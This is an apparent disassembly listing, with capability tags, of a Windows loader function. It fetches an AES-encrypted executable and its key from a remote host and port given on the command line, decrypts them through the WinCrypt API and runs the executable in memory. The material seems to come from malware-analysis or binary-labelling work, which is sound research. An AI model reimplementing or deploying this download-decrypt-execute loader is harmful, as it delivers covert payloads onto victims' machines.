Function at 0x140001ce0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, rdx
cmp ecx, 5
je 0x140001d1c
mov rdx, qword [rdx]
lea rcx, str.___Usage:__s__Host___Port___Cipher___Key__n
call fcn.140001010
mov eax, 1
jmp 0x14000209c
mov rcx, qword [rdx + 0x10]
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], rdi
mov rdi, qword [rdx + 8]
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0x98], r14
mov qword [rsp + 0x90], r15
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rsi, qword [rbx + 0x18]
mov r12, 0xffffffffffffffff
mov rbp, qword [rbx + 0x20]
mov r14d, eax
mov rbx, r12
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140001d77
inc rbx
mov eax, 2
mul rbx
cmovo rax, r12
mov rcx, rax
call fcn.1400023f4
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov r15, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rbx, r12
nop dword [rax]
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140001db0
inc rbx
mov eax, 2
mul rbx
cmovo rax, r12
mov rcx, rax
call fcn.1400023f4
mov r8, rbx
mov rdx, rsi
mov rcx, rax
mov r13, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rbx, r12
inc rbx
cmp byte [rbx + rbp], 0
jne 0x140001de5
inc rbx
mov eax, 2
mul rbx
cmovo rax, r12
mov rcx, rax
call fcn.1400023f4
mov r8, rbx
mov rdx, rbp
mov rcx, rax
mov r12, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov r8d, r14d
lea rcx, str._n_n___Get_AES_Encrypted_PE_from__s:_d_n
mov rdx, rdi
call fcn.140001010
mov r9, r13
lea rcx, [rsp + 0x40]
mov r8d, r14d
mov rdx, r15
call fcn.140001210
mov r13, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xc0]
movups xmm0, xmmword [rax]
movq rsi, xmm0
movups xmmword [rsp + 0x78], xmm0
test rsi, rsi
jne 0x140001e72
lea rcx, str.____Failed_in_getting_AES_Encrypted_PE_n
call fcn.140001010
lea eax, [rsi - 1]
jmp 0x140002074
mov r8d, r14d
lea rcx, str._n___Get_AES_Key_from__s:_d_n
mov rdx, rdi
call fcn.140001010
mov r9, r12
lea rcx, [rsp + 0x50]
mov r8d, r14d
mov rdx, r15
call fcn.140001210
movups xmm0, xmmword [rax]
movq rbx, xmm0
movups xmmword [rsp + 0x30], xmm0
test rbx, rbx
jne 0x140001ebd
lea rcx, str.____Failed_in_getting_key_n
call fcn.140001010
lea eax, [rbx - 2]
jmp 0x140002074
mov rdx, rsi
lea rcx, str._n___AES_PE_Address_:__p_n
call fcn.140001010
mov rdx, rbx
lea rcx, str._n___AES_Key_Address_:__p_n
call fcn.140001010
lea rcx, str._n___Decrypt_the_PE__n
call fcn.140001010
mov eax, dword [rsp + 0x80]
lea rcx, [rsp + 0x68]
mov r9d, 0x18
mov dword [rsp + 0x60], eax
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140001f2d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140001010
jmp 0x140002038
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140001f6a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.140001010
jmp 0x140002038
mov r8d, dword [rsp + 0x38]
xor r9d, r9d
mov rcx, qword [rsp + 0x70]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x140001f9d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.140001010
jmp 0x140002038
mov r8, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x140001fd9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.140001010
jmp 0x140002038
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x140002015
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.140001010
jmp 0x140002038
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea rcx, str._n___PE_Decrypted_n
call fcn.140001010
lea rax, str.whatEver
lea rcx, str._n___Loading_and_Running_PE_n
mov qword [0x1400076e0], rax
call fcn.140001010
mov rcx, rsi
call fcn.140001a00
lea rcx, str._n___Finished_n
call fcn.140001010
xor eax, eax
mov r14, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xd0]
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140002390
add rsp, 0xb0
pop rbx
ret